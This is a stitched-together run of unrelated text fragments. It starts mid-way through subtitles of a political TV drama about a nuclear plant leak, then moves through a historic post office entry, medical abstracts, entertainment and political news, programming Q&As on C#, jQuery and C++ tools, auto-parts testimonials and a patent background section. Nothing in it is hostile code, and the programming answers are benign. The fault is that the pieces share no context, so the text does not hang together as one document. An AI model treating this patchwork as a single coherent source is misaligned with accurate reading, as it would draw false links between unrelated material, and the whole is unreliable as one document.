consistent if the sea winds push them north...\" \"Call the governor, make a contingency plan to widen the evacuation.\" \"", "And I want updated weather models every half-hour.\" \"", "You weren't wrong to keep them in there, Mr. President.\" \" ", "Still nothing from Santos?\" \" ", "No press advisories.\" \"", "They haven't reserved any rooms for press.\" \"", "Josh must be strapped to a gurney with a gag in his mouth.\" \"", "This is a mistake.\" \"", "Good morning.\" \"", "We're all struck by the difficult events in San Andreo.\" \"", "I've been in constant touch with the governor's office, and I hope as we all do, that the evacuation is only a precaution.\" \"", "Do you still support nuclear power?\" \"", "Finish the statement.\" \"", "And I hope that the situation will be resolved quickly and safely.\" \"", "Your family's in the region.\" \"", "Don't you question what you said?\" \" ", "My family's not the issue.\" \" ", "You didn't answer the question.\" \"", "Are you still pro-nuclear?\" \"", "Nuclear power didn't break those valves.\" \"", "To blame nuclear technology itself for whatever mess happened in...\" \"Federal regulators were the ones who fell down on the job.\" \"", "You can start a fire with a match too, you know.\" \"", "You saying this was the Bartlet administration's fault?\" \" ", "He just did.\" \" ", "And he strapped himself to that reactor.\" \"", "This isn't the time to point fingers.\" \"", "This is a time for national unity.\" \"", "Which is why the president and I will be traveling to that region this morning.\" \"", "Senator Vinick, why do you think the administration 's...?\" \" ", "President's wheels-up in an hour.\" \" ", "Tray tables and all.\" \"", "I want you to lead a couple reporters toward those documents about Vinick.\" \" ", "You didn't want our fingerprints on it.\" \" ", "Just drop hints.\" \" ", "Ask leading questions, off the record.\" \" ", "That's gonna get out.\" \"", "You didn't want...\" \"Once the president hugs Vinick, it's over.\" \" ", "Does the congressman know about this?\" \" ", "Just go.\" \" ", "Leading questions.\" \" ", "Yeah.\" \"", "Or we blow the biggest chance to win this thing we're ever gonna get.\" \"", "How can this not be a failure of Bartlet's regulators?\" \"", "We don't even know the cause of the accident.\" \"", "The NRC leaves tons of inspection procedures up to the plants themselves.\" \"", "Five minutes until the motorcade leaves.\" \"", "I can't talk about the Armenian genocide.\" \"", "It's non-binding.\" \"", "Right now I only have time for things that could spontaneously combust.\" \"", "You ready?\" \"", "To fly into a cloud of radiation while the country makes hats out of tinfoil?\" \"", "Yeah, that was more of a rhetorical question.\" \"", "You think we're flying into a cloud of radiation?\" \"", "I was dramatizing a point.\" \"", "Maybe.\" \"", "Thought you weren't talking to the press.\" \"", "I was hoping I could interest you in a little mumbling and whispering.\" \"", "Biggest political story in six months.\" \"", "I don't care if you start to hum off-key.\" \"", "You think this is the biggest...?\" \"", "Vinick's lobbying for that San Andreo plant?\" \"", "Make your quote good, it'll be front page, column six.\" \"", "Yeah.\" \"", "Sorry, not talking to the press today.\" \"", "Excuse me, Mr. President.\" \"", "Senator Vinick's asked for a moment.\" \"", "Sure.\" \" ", "Mr. President.\" \" ", "Arnie.\" \" ", "Thanks for bringing me along.\" \" ", "Standard protocol.\" \"", "Well, I appreciate it.\" \"", "I thought we might wanna coordinate our statements for the press availability.\" \"", "You're expecting me to bash myself too?\" \" ", "That wasn't aimed at you.\" \" \"", "Federal regulators\"?\" \" ", "I think a few of them work for me.\" \" ", "Due respect, two broken valves and a radiation leak say they should look for other work.\" \"", "Where's your bill to improve federal oversight?\" \"", "Senate leader on the issue, let's have your bill.\" \"", "I'll sign it now.\" \" ", "You've had eight years to do something.\" \" ", "You've had 25.\" \"", "I'm not the one who manages it.\" \"", "Nuclear power itself is safe.\" \"", "Take a nuclear chain reaction 20 times more powerful than Hiroshima.\" \"", "Run it through a power plant every day near families.\" \"", "What management would negate the risk?\" \"", "Risk is everywhere.\" \"", "People get into car accidents.\" \"", "When they do, they don't tell you stop eating produce three states away.\" \"", "What's your answer?\" \"", "Solar?\" \"", "One-fifth of one percent of all our energy at five times the cost?\" \"", "Wind?\" \"", "Another spike in OPEC prices?\" \"", "Nuclear is the only alternative.\" \"", "It is not an alternative.\" \"", "I know the regulation's a mess.\" \"", "No regulation could make it safe.\" \"", "We could barely evacuate a town...\" \"Forgive me, Mr. President.\" \"", "The second team's closed the relief valve.\" \"", "The crisis is over for now.\" \"", "But the engineer who'd fallen into a coma he died 20 minutes ago from acute radiation poisoning.\" \"", "We'll get you another call sheet.\" \"", "Two copies of that call sheet.\" \"", "The Vinick campaign can 't be happy with the Post's online scoop.\" \"", "Documents show Senator Vinick was a supporter of the San Andreo plant.\" \" ", "Symbolizes, more than anything since Three Mile Island or Chernobyl the cost and perils of nuclear power in the United States.\" \"", "With 103 plants up and running...\" \"You might get some questions.\" \"", "Apparently, Senator Vinick was involved in the original approval of the San Andreo plant.\" \" ", "It's safe to take everybody out there?\" \" ", "According to the EPA the remaining radiation's within the acceptable dosage.\" \"", "You're too young to remember \"Duck and Cover.\"\" \"", "Sir?\" \"", "We'd hide under our little wooden desks at school.\" \"", "At some point, they stopped the drills.\" \"", "The threat was still there, they just stopped having the drills.\" \"", "I guess they realized a piece of plywood wasn't gonna protect us against an atomic blast.\" \"", "Kazakhstan?\" \"", "Newly-elected government's killed 114 protesters.\" \"", "China's crossing into Chinese enclaves.\" \"", "Russian troops are also ready to enter.\" \"", "Can't have China and Russia blowing each other to bits over election fraud.\" \"", "Well, oil, really.\" \"", "Fraud's just the kicker.\" \"", "Governor's waiting in the motorcade.\" \"", "We've canvassed the UN about an international police force.\" \"", "It would have to be predominantly U.S. Troops operating from our bases.\" \" ", "How many would I have to send?\" \" ", "CINCs are guessing 90,000.\" \"", "For starters.\" \"", "Based on federal safety standards evacuated residents will be allowed to return.\" \"", "But we don 't know the full effects of any radiation releases.\" \"", "We may not know for months, maybe even years.\" \"", "And we have to be candid about that.\" \"", "And so while we continue monitoring and testing we will also help with the relocation of those residents who may not wish to return to San Andreo.\" \"", "Thank you.\" \"", "Senator Vinick, why do you think the administration fell down?\" \"", "We're all relieved the worst is over.\" \"", "My thoughts and prayers are with the family of James Cook the federal engineer who gave his life to save others.\" \"", "Should this make Vinick question his energy plans?\" \"", "I can't speak for anyone else.\" \"", "Makes me question a lot about our energy plans.\" \" ", "Congressman...\" \" Thank you.\" \"", "Based on our flash polls more than a dozen states that had been squarely in the Vinick column including Florida, Ohio his own state of California all states with nuclear power plants, are now within the margin of error.\" \"", "It's a political meltdown, that's for sure.\" \"", "The Santos campaign is declining to comment.\" \"", "They've been flooded with volunteers and donations since the news that Senator Vinick lobbied for the San Andreo nuclear generating station...\" \" Advance wants to know if...\" \" We're taking tomorrow off too.\" \"", "It's gonna be wall-to-wall press.\" \"", "He's said all he's gonna say.\" \"", "Best day of the campaign and we didn't do a thing.\" \"", "At the rate we're going, maybe we should take the whole month off.\" \"", "Subtitles by SDI Media Group\"" ]

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[ "United States Post Office (Mattoon, Illinois)\n\nThe United States Post Office, located at 1701 Charleston Ave., ", "is the former main post office of Mattoon, Illinois. ", "The post office was constructed in 1913 by Mangnus Yeager & Son, a building company from Danville, Illinois. ", "The building was designed in the Classical Revival style and features Renaissance Revival influences; James K. Taylor was the Supervising Architect for the building. ", "The front of the building features seven arches in front of a portico containing the entrance, which is located at the top of a marble staircase. ", "The three central arches are topped by a carved frieze, and marble cartouches separate each pair of arches. ", "The building served as Mattoon's post office from its construction until 1980, when a new post office opened.", "\n\nThe building was listed on the National Register of Historic Places in 1979.", "\n\nSee also \nList of United States Post Offices\n\nReferences \n\nCategory:Post office buildings on the National Register of Historic Places in Illinois\nCategory:Neoclassical architecture in Illinois\nCategory:Government buildings completed in 1913\nCategory:Buildings and structures in Coles County, Illinois\nCategory:National Register of Historic Places in Coles County, Illinois\nCategory:1913 establishments in Illinois" ]

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[ "An association between optic glioma and other tumours of the central nervous system in neurofibromatosis type 1.", "\nNeurofibromatosis type 1 (NF1) has a very heterogeneous phenotype. ", "It is not currently possible to predict which patients will have mild disease and which will develop serious complications. ", "Medical management of patients with NF1 might be improved if subgroups of patients who are at especially high (or low) risk for particular complications could be identified. ", "We have begun an analysis of NF1 patients in the National Neurofibromatosis Foundation International Database (NNFFID) to identify possible associations between the occurrence of clinical features. ", "A striking association has been observed between the presence of optic glioma and of other central nervous system (CNS) tumours in NF1 patients. ", "This association is not dependent on the effect of age. ", "No association is seen between optic glioma and non-CNS neoplasms. ", "The association of optic glioma and other intracranial neoplasms in patients with NF1 suggests that there are fundamental pathophysiological differences between patients with and without optic glioma." ]

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[ "Syfy announced today it will end its original action-adventure series “Stargate Universe” when the show returns with the final 10 episodes of its second season in the spring of 2011.", "\n\nThe “Stargate” franchise — consisting of “Stargate SG-1,” “Stargate Atlantis” and “Stargate Universe” — has aired on Syfy since 2002.", "\n\nThe channel also recently cancelled “Caprica.”", "\n\nSyfy has a slate of new scripted projects lined up for 2011 including the series premiere of “Being Human” on January 17, the recently greenlit one-hour drama series “Alphas” and the “Battlestar” prequel pilot movie, “Battlestar Galactica: Blood & Chrome.”", "\n\n“Warehouse 13,” “Eureka” and “Haven” will also return with new seasons next year." ]

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[ "Q:\n\nHow does this Singleton-like web class persists session data, even though session is not updated in the property setters?", "\n\nOk, I've got this singleton-like web class which uses session to maintain state. ", " I initially thought I was going to have to manipulate the session variables on each \"set\" so that the new values were updated in the session. ", " However I tried using it as-is, and somehow, it remembers state.", "\nFor example, if run this code on one page:\nUserContext.", "Current.", "User.", "FirstName = \"Micah\";\n\nAnd run this code in a different browser tab, FirstName is displayed correctly:\nResponse.", "Write(UserContext.", "Current.", "User.", "FirstName);\n\nCan someone tell me (prove) how this data is getting persisted in the session? ", " Here is the class:\nusing System;\nusing System.", "Collections.", "Generic;\nusing System.", "Linq;\nusing System.", "Web;\n\npublic class UserContext\n{\n private UserContext() { }\n\n public static UserContext Current\n {\n get\n {\n if (System.", "Web.", "HttpContext.", "Current.", "Session[\"UserContext\"] == null)\n {\n UserContext uc = new UserContext();\n uc.", "User = new User();\n System.", "Web.", "HttpContext.", "Current.", "Session[\"UserContext\"] = uc;\n }\n\n return (UserContext)System.", "Web.", "HttpContext.", "Current.", "Session[\"UserContext\"];\n }\n }\n\n private string HospitalField;\n public string Hospital\n {\n get { return HospitalField; }\n set\n {\n HospitalField = value;\n ContractField = null;\n ModelType = null;\n }\n }\n\n private string ContractField;\n public string Contract\n {\n get { return ContractField; }\n set\n {\n ContractField = value;\n ModelType = string.", "Empty;\n }\n }\n\n private string ModelTypeField;\n public string ModelType\n {\n get { return ModelTypeField; }\n set { ModelTypeField = value; }\n }\n\n private User UserField;\n public User User\n {\n get { return UserField; }\n set { UserField = value; }\n }\n\n public void DoSomething()\n {\n }\n}\n\npublic class User\n{\n public int UserId { get; set; }\n public string FirstName { get; set; }\n}\n\nI added this to a watch, and can see that the session variable is definitely being set somewhere:\n(UserContext)System.", "Web.", "HttpContext.", "Current.", "Session[\"UserContext\"];\n\nAs soon as a setter is called the Session var is immediately updated:\n set\n {\n HospitalField = value; //<--- here\n ContractField = null;\n ModelType = null;\n }\n\nA:\n\nThe UserContextinstance is saved in Session with this line:\nSystem.", "Web.", "HttpContext.", "Current.", "Session[\"UserContext\"] = uc;\n\nIt's not a singleton. ", " The static property UserContext will attempt to retrieve a instance from Session, and if it doesn't find it, create a new instance and store it in Session.", "\nUPDATE\n\nI can see how the session var is retrieved, my confusion is around how the session var is set.", "\n\nTo add clarification following Micah's comment: the first time the static Current property is accessed, a new UserContext instance is created, its User property is populated with a new User instance, and the UserContext instance is stored in Session. ", " Subsequent accesses to UserContext.", "Current (and hence UserContext.", "Current.", "User) in the same session are all accessing the same instance.", "\nIf it's still not clear I suggest stepping through with a debugger.", "\npublic static UserContext Current \n{ \n get \n { \n // If Session does not yet contain a UserContext instance ...\n if (System.", "Web.", "HttpContext.", "Current.", "Session[\"UserContext\"] == null) \n { \n // ... then create and initialize a new UserContext instance ...\n UserContext uc = new UserContext(); \n uc.", "User = new User(); \n // ... and store it in Session where it will be available for\n // subsequent requests during the same session.", "\n System.", "Web.", "HttpContext.", "Current.", "Session[\"UserContext\"] = uc; \n } \n // By the time we get here, Session contains a UserContext instance,\n // so return it.", "\n return (UserContext)System.", "Web.", "HttpContext.", "Current.", "Session[\"UserContext\"]; \n } \n} \n\n" ]

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[ "Q:\n\nMaking a Web Gui to design a Garden Layout\n\nI would like to design a web page Gui where users can design a simple interactive garden. ", "The user would pick a template design and receive price estimates based on the design template and the dimensions entered. ", "\nI'd like the user to be able to move items such as plants, stones and be able to adjust the dimensions of the grass, paving.", "\nI'm thinking i could make it using flash but I would like to know there are any other ways I could use to implement this?", "\n\nA:\n\nYou probably can get this to work using basic jQuery, CSS, and HTML. ", "\nConsider the jQuery UI Draggable and Resizable demos.", "\n\n" ]

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[ "Dot Edge Glass Knobs\n\nDainty Delight!", "\nDecorate your furniture with our Dot Edge Glass Knobs! ", "These knobs have been daintily crafted of glass to provide your little girl with beauty she deserves! ", "Practical and pretty, these knobs become a fast favorite of moms and their daughters alike!" ]

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[ "Emotional indicators in the human figure drawings of hearing-impaired children: a small sample validation study.", "\nThe use of human figure drawings as projective personality assessment techniques is a well-established practice among psychological service providers to hearing-impaired children yet few studies have shown these techniques to be valid indicators of emotional functioning in any population. ", "The purpose of the present work is to establish concurrent validity for the Koppitz scoring technique in a sample of 7- to 12-year old hearing-impaired students. ", "Results indicate that the Koppitz technique shows a positive correlation with emotional status as measured on the Stress Response Scale. ", "The Koppitz technique is especially sensitive to impulsive and passive-aggressive types of response modes." ]

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[ "High-rise vision for Bottle DistrictBy Charlene ProstST. ", "LOUIS POST-DISPATCH09/13/2005A developer planning a $100 million project in Charlotte, N.C., is poised to become co-developer of the Bottle District in downtown St. Louis.", "Afshin Ghazi, founder of the Ghazi Co. in Charlotte, said his group had been looking for projects here when it learned about the Bottle District. ", "The $290 million complex with restaurants, entertainment, housing and offices is planned north of the Edward Jones Dome.", "\"We are finalizing all our points now. ", "We will be involved in the project,\" Ghazi said. \"", "We think St. Louis is a great market, a great sports town and a great tourist town.", "\"Bottle District officials have been talking with Ghazi about taking on the job of co-developer, said Matt Bernsen, the Bottle District's marketing director.", "\"We're interested in partnering with a proven developer, and Ghazi does have experience.", "\"The 11-year-old company does mostly specialty retail and partners with others on housing and office development. ", "Ghazi's Web site says it strives \"to be on the cutting edge of real estate development.", "\"The EpiCentre project in downtown Charlotte, an entertainment and retail complex with a 53-story residential tower, is to rise on the site of the recently demolished convention center.", "In St. Louis, Bottle District officials plan a groundbreaking Sept. 27 for the still-evolving project, which will cover nearly 15 acres on more than six blocks. ", "It was made public a year ago by Dan McGuire, president of McGuire Moving & Storage Co., and a team of associates and experts he assembled.", "The moving company occupies a 101-year-old building that's to be recycled for housing as part of the project after McGuire moves to another location.", "The property is near a $400 million casino complex Pinnacle Entertainment Inc. got under way earlier this month.", "The latest renderings, by the Studio Daniel Libeskind firm in New York City and Forum Studio at Clayco Construction Co. in St. Louis, show three condo towers that would bring a distinctive new look to the city skyline.", "The tallest tower is sketched in at 630 feet - nearly the height of the Gateway Arch. ", "Together, the towers would have up to 700 condos.", "Bernsen said the district plans to team up with a residential developer to check out the market for that many condos and help get them built. ", "About 100 people already have requested price and other information from the district's Web site.", "Several commercial tenants have signed letters of intent, including Rawlings All American Grille, Cabo Wabo restaurant and a Grand Prix Speedways kart-racing center. ", "Joe Edwards, the pioneering developer in University City's Delmar Loop, plans a \"boutique\" bowling alley.", "Bernsen said demolition to make way for the project has started at a vacant school on the property. ", "Later, a recycling center and warehouse will be taken down.", "At this point, he said, a construction start date has not been set.", "The city has approved tax increment financing for the project that Bernsen said will generate about $51.3 million. ", "And, he said, \"we are interviewing and considering multiple proposals for financing\" from banks and other private lending sources.", "Barbara Geisman, deputy mayor for development, said St. Louis is anxious to see the project move forward.", "\"It will provide new entertainment and things to do for people who visit the convention center,\" she said. \"", "It will add new commercial, office and residential opportunities for people who want to be downtown in newly constructed buildings.", "\"And, she noted, Daniel Libeskind \"is one of the top architects in the world these days, and he has accepted this commission. ", "This will add a whole new dimension to the architecture of our city.", "\"The Bottle District name came, in part, from buried bottles found on the property. ", "It's also a connection to the city's history as a hub for breweries and other bottlers. ", "Developers also want to restore a 34-foot-tall Vess sign, shaped like a soda bottle, on the property." ]

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[ "Q:\n\nGood way to navigate the DOM\n\nCan I please get some C# code samples on the best way to navigate the DOM? ", "My target data could be buried any where in the node. ", "\nI am talking about HTML DOM.", "\n\nA:\n\nAssuming you mean HTML, I'd go with http://www.codeplex.com/htmlagilitypack\n\n" ]

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[ "Locals to rally against influence of money on politics April 12\n\nLocal activists will stage a rally by the Trolley Station near Riverview Ice House, 324 N. Madison St., downtown Rockford, at 3 p.m., Saturday, April 12, as part of a national day of action against the influence of money in politics.", "\n\nThe demonstration will include street theater, poetry readings and an opportunity for citizens to speak.", "\n\nThe event is organized by local activists involved with the Represent.", "Us IL-16/17 District Committee and is being held in conjunction with similar rallies in Boston, New York and Philadelphia.", "\n\nThe United States Supreme Court ruled 5-4 April 2 in McCutcheon v. FEC that putting a limit on the amount of financial contributions individuals can make to political campaigns is unconstitutional, as such restrictions would violate the First Amendment right to free speech. ", "Chief Justice John Roberts wrote in the legal opinion that “The government may no more restrict how many candidates or causes a donor may support than it may tell a newspaper how many candidates it may endorse.”", "\n\nMeantime, justices Stephen G. Breyer, Ruth Bader Ginsburg, Sonia Sotomayor and Elena Kagan dissented, warning the ruling “creates a loophole that will allow a single individual to contribute millions of dollars to a political party or to a candidate’s campaign. ", "Taken together with Citizens United v. Federal Election Comm’n, 558 U. S. 310 (2010), today’s decision eviscerates our Nation’s campaign finance laws, leaving a remnant incapable of dealing with the grave problems of democratic legitimacy that those laws were intended to resolve.”", "\n\nRepresent.", "Us is a national, nonpartisan anti-corruption organization. ", "Represent.", "Us uses public education and grassroots organizing to advocate for an overhaul of American campaign finance, lobbying and ethics laws." ]

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[ "In what seems to be a knee-jerk response to the Supreme Courtconstitutional challenge to Manus Island, the Papua New GuineaImmigration department has summarily removed the right of appeal fromasylum seekers on Manus Island.", "\n\nAt an “open” meeting of Manus Island asylum seekers yesterday morning(1 September), around 30 asylum seekers from the various compounds(surrounded by more than 40 security guards) were told that they wouldno longer be able to appeal against negative refugee determination\ndecisions.", "\n\nUntil now, asylum seekers have been able to appeal against a negativedetermination. ", "But yesterday a PNG immigration official told themeeting, the PNG Minister for Immigration had decided that people whogot a negative result on the first interview would no longer be\nallowed to appeal.", "\n\nThe meeting was also told that the Minister said there would be nomore cases in the court to stop them being deported. “", "There are two\noptions; either you go back voluntarily by IOM or you will be forcibly\ndeported by PNG immigration,” the official told the meeting, “PNG has\ndecided not to hold anyone with a negative result.”", "\n\nThe Supreme Court however has extended an injunction preventing the\nremoval of 26 asylum seekers until the next directions hearing of theSupreme Court on 7 September. ", "The Supreme Court will also consider a\ngeneral application for further orders against the refoulement of any\nof the Manus detainees.", "\n\nThe meeting of asylum seekers was also told there would be no chance\nto see a lawyer. ", "Yet, the constitutional right to have access to a\nlawyer is one of the fundamental issues being considered by the\nSupreme Court. ", "None of the detained asylum seekers have ever been\ninformed of their constitutional rights or allowed to have access to a\nlawyer.", "\n\n“The decision to remove appeal rights from asylum seekers is one more\nindication of the arbitrary circumstances of asylum seekers on ManusIsland. ", "Around 50 per cent of those who received a negative decisionat their first interview were being accepted on review,” said IanRintoul, spokesperson for the Refugee Action Coalition.", "\n\n“PNG Immigration is trying to pre-empt the decisions of the SupremeCourt and violate the rights of asylum seekers. ", "It is a shabby andtransparent attempt to deprive them of their constitutional rightsand to intimidate more asylum seekers to accept being returned.”" ]

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[ "Health care cost containment strategies: the Jordanian experience.", "\nJordan's relative success in containing costs is the result of public financing of the health insurance system, the health care system reform strategy, and expanding the primary care network, which allows for cost containment and universal access based on the need for services rather than the ability to pay. ", "The shift of costs from the public to the private sector must be curtailed. ", "The determinants of health care (i.e. environment; human biology; life style; and health care system) are the main factors that determine future spending on health." ]

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[ "Advertising Read more\n\nParis (AFP)\n\nFrench President Emmanuel Macron on Thursday admitted differences with German counterpart Angela Merkel on Brexit, trade and energy policy, saying \"fruitful confrontations\" and compromises were part of ties between their countries.", "\n\n\"On Brexit, we are not completely on the same page.... On our ambitions for the climate and in energy, we are not completely on the same page,\" Macron told a press conference on Thursday.", "\n\nMacron said the \"culture of compromise... should not stop us from affirming a French position when there is one, and like in all couples, in every project, from accepting disagreements.\"", "\n\nThe dialogue between the two nations required \"sometimes accepting fruitful confrontations, but always with the desire to ultimately find a compromise.\"", "\n\nThe frank admission of splits in the Franco-German couple was rare from Macron who has sought to build a close relationship with Merkel to launch an ambitious reform programme for the EU.", "\n\nBut Merkel has pushed back on many of Macron's proposals and the duo were publicly at odds in Brussels last week over how to handle Britain's departure from the European Union.", "\n\nMerkel favoured granting London a long extension, while Macron argued for a short one, which would have increased the chances of Britain crashing out without a deal.", "\n\nThe 27 remaining members of the EU ultimately compromised, granting an extension until October 31.", "\n\nOn trade policy, Macron referred to what he described as the \"incoherent\" decision to begin EU trade talks with the United States.", "\n\nThe trade talks were backed by Merkel and most EU countries, but opposed by France on the grounds that the United States had failed to join global efforts to fight climate change.", "\n\nThe EU's 28 member states had struggled for months to agree to open trade talks, with some including Germany fearing a delay could start a trade war with US President Donald Trump.", "\n\nMacron has argued that the US must first sign up to the Paris climate accord to cap global emissions, which Trump dumped in 2017.", "\n\nAnd he favours a tax on imports coming into the EU from countries that have not signed the pact, which analysts believe could deepen tensions with Washington.", "\n\n- Spending differences -\n\nFrance and Germany are also at odds over economic policy.", "\n\nMerkel has resisted Macron's call for a large shared budget for members of the eurozone which would finance infrastructure and other investments in weak members of the currency area.", "\n\nFrench Finance Minister Bruno Le Maire urged Berlin on April 12 to increase its public spending last week to compensate for an economic slowdown which risks hitting the whole of Europe.", "\n\n\"Countries with solid budgets must invest more. ", "Those with the means shouldn't hoard money for years and years, allowing growth to deteriorate,\" he told an audience in Washington.", "\n\nGermany has insisted it will not borrow money to spend its way out of the downturn.", "\n\nDespite the recent disagreements, Macron insisted that he had made progress with Merkel, citing progress in joint European defence cooperation and a modest new budget for the eurozone.", "\n\n? ", "2019 AFP" ]

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[ "Q:\n\nПрограмма для написания программ на С++\n\nВ какой программе собственно программируют? ", "Я считал что это делается в Microsoft Visual Studio. ", "И вот я дорвался до 2010 версии, а она не хочет дебажить мой код написанный с учебника. ", "Может нужно ещё что-то настроитьв самой студии или использовать другую среду?", "\n\nA:\n\nЗависит от операционной системы.", "\nПод Windows:\n\nMS Visual Studio\nNetBeans\nEclipse\nQt Creator\nEmacs (а как же без него!)", "\nJetBrains CLion (обновлено, спасибо ixSci);\n\nПод Linux:\n\nвсё то же, кроме MS Visual Studio\n\nПод Mac OS X (обновлено, спасибо ixSci):\n\nXCode\nAppCode\n\nПод Linux часто вообще не используется никакая IDE-среда разработки,\nа используется просто отдельный компилятор, gcc или clang\nи обычный текстовый редактор, типа Vim.", "\nВ этом случае написание и компиляция простейшей программы выглядит так:\nvim hello-world.c\ngcc -o hello-world hello-world.c\n\nНо это только в самом простейшем случае. ", "В реальности же вы очень быстро приходите к необходимости использования программ сборки, отладки, анализа кода и так далее.", "\nПрограммы сборки занимают очень важное место в инструментарии разработчика. ", "Без них редко себе можно представить написание сколь-нибудь сложной программы.", "\nКлассической программой сборки являеися make (и его различные клоны-реализации в различных системах, например, cmake), но сейчас набирают популярность и ряд других программ.", "\nИтак, универсальные программы для сборки (есть и специфичные, использующиеся только в некоторых случаях):\n\nmake + autotools;\nSCons — сравнительно медленная, но мощная программа сборки; написана на Python;\nWaf — другая программа сбоки на Python, но отличающаяся от SCons высокой скоростью;\nninja — сверхбыстрая сборочная программа на Си++, как правило используется в сочетании с более высокоуровневыми программами, такими как CMake, gyp или даже SCons.", "\n\nПример простейшего Makefile'а и его использование:\nCC = gcc\nCFLAGS = -g\nRM = rm -f\n\ndefault: all\n\nall: Hello\n\nhello: Hello.c\n $(CC) $(CFLAGS) -o hello hello.c\n\nclean veryclean:\n $(RM) hello\n\nИспользование:\n$ make hello\ncc hello.c -o hello\n\n" ]

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[ "Very Hulpfull\n\nHave a wide range of parts and the people are very hulpfull. ", "I would use the again anytime....\n\nSholin\n\n5.0\n\n2018-10-31T13:47:54+02:00\n\nSholin\n\nHave a wide range of parts and the people are very hulpfull. ", "I would use the again anytime. ", "Sholin\n\nhttps://www.globalpartsonline.co.za/testimonials/very-hulpfull/\n\nFord Focus Parts\n\nThank you for the good service Godfrey!", "\n\nAnonymous\n\n5.0\n\n2018-02-22T18:09:19+02:00\n\nAnonymous\n\nThank you for the good service Godfrey!", "\n\nhttps://www.globalpartsonline.co.za/testimonials/ford-focus-parts/\n\nHappy With My Parts!", "\n\nFirstly I would like to pass my compliment for the savings that I received from the sales lady....\n\nThokozane Nhlovu\n\n5.0\n\n2018-01-31T16:28:28+02:00\n\nThokozane Nhlovu\n\nFirstly I would like to pass my compliment for the savings that I received from the sales lady. ", "From the telephone call all the way from KZN tro Heidelberg the attitude was excellent till I receive the parts I bought at the premises am so happy with the parts that I received. ", "Kind Regards Thokozane Nhlovu\n\nhttps://www.globalpartsonline.co.za/testimonials/happy-with-my-parts/\n\nFresh Parts\n\nThanks for the part... Got it fresh\n\nMadam-Shaz Rapetswa\n\n5.0\n\n2018-04-15T09:03:03+02:00\n\nMadam-Shaz Rapetswa\n\nThanks for the part... Got it fresh\n\nhttps://www.globalpartsonline.co.za/testimonials/fresh-parts/\n\nWorld Class Service\n\nService world class, the staff are helpful and fantastic. ", "Parts are cheap and affordable , will be coming...\n\nSizwe\n\n5.0\n\n2018-11-05T16:33:41+02:00\n\nSizwe\n\nService world class, the staff are helpful and fantastic. ", "Parts are cheap and affordable , will be coming back for more parts. ", "Give Them 5 Stars Sizwe" ]

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[ "California Gov. Gavin Newsom (D) says he can't remember why he called on President Trump Donald John TrumpOmar fires back at Trump over rally remarks: 'This is my country' Pelosi: Trump hurrying to fill SCOTUS seat so he can repeal ObamaCare Trump mocks Biden appearance, mask use ahead of first debate MORE to resign last year, adding that he is focused on working with the federal government for the good of his state.", "\n\nNewsom told The New York Times on Monday that he doesn't remember the reason behind his January 2018 call for the president's resignation, adding that he made the comments during his campaign for governor. ", "Newsom previously served as the state's lieutenant governor before winning the 2018 governor's race.", "\n\nADVERTISEMENT\n\n“That was during a campaign,” Newsom told the Times. “", "It’s just so indicative of this moment, I couldn’t even tell you [what it was about]. ", "It was 4,623 tweets ago.”", "\n\nNewsom added that his state's relationship with the federal government was more important than his political beliefs.", "\n\n“I’m pursuing [a relationship with Trump] because it’s just it’s too damn important,” he told the Times. “", "And the risks are too great to bear.”", "\n\nA review of Newsom's comments from January of 2018 reveal that the governor's opposition to the president at the time centered around Trump's use of the world \"sh-thole\" to describe several African countries as well as Haiti and El Salvador during a discussion on immigration.", "\n\nAt the time, Trump denied eyewitness accounts from Democratic senators who accused him of making the comments during a bipartisan meeting at the White House. ", "Newsom, along with other Democrats, called on the president to step down.", "\n\n\"You’re a joke and a racist, President Donald J. Trump,\" Newsom wrote on Facebook at the time. \"", "Resign.\"", "\n\nTrump denied making the derogatory comments at the time, claiming that he never said “anything derogatory about Haitians other than Haiti is, obviously, a very poor and troubled country.\"", "\n\nNewsom and Trump have most recently clashed over California's decision to scale back a federally-funded high-speed rail program linking San Francisco and Los Angeles, for which the Trump administration has sought a return of federal funds." ]

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[ "1. ", "Field of the Invention\nThe present invention relates to a television receiver including a function to attach a detachable portable storage medium to, e.g., a digital camera and display a video signal recorded therein on a screen, and a control method thereof.", "\n2. ", "Description of the Related Art\nAs is well known, a portable memory card having a built-in semiconductor memory is detachable in a digital camera. ", "Further, in the digital camera, an optical image of a photographed object is converted into an electrical video signal and stored in the memory card. ", "In this case, the video signal stored in the memory card is based on a progressive mode.", "\nFurthermore, there has been developed a television receiver which has a function to attach such a memory card and display a video signal recorded therein on a screen. ", "This television receiver converts a video signal read from the memory card into a signal based on the interlaced mode of the NTSC (National Television System Committee) standard, and displays it on a CRT (cathode ray tube).", "\nMoreover, in this television receiver, sequential scanning conversion processing can be applied to video signals converted into signals based on the interlaced mode in order to convert them to video signals based on the progressive mode, thereby enhancing the quality of displayed images.", "\nHere, when a video signal read from the memory card is still picture video, sequential scanning conversion processing to combine video signals of adjacent fields after interlace conversion is applied, thereby displaying a still picture image with the grade of the original video recorded in the memory card.", "\nOn the other hand, when a video signal read from the memory card is a moving picture video, since sequential scanning conversion processing based on scanning line interpolation is applied to each field after interlace conversion, there occurs a problem that the grade of a video to be displayed is degraded.", "\nThis problem is visually confirmed by a user as an out-of-focus feeling that a contour becomes blurred in a vertical direction of a screen or a jagged feeling that a diagonal line is stepped. ", "Additionally, this problem likewise occurs when displaying a moving picture video created by applying editing processing such as slides, thumbnails, zooming and others to a video signal recorded in the memory card.", "\nJpn. ", "Pat. ", "Appln. ", "KOKAI Publication No. ", "2002-10219 discloses that sequential double-speed conversion or field double-speed conversion is carried out in such a manner that a high-quality video can be displayed with less flicker obstructions in accordance with a video signal format based on a television mode and a type of a display monitor when displaying video signals based on different television modes, but it does not have any description about solving the above-described problem." ]

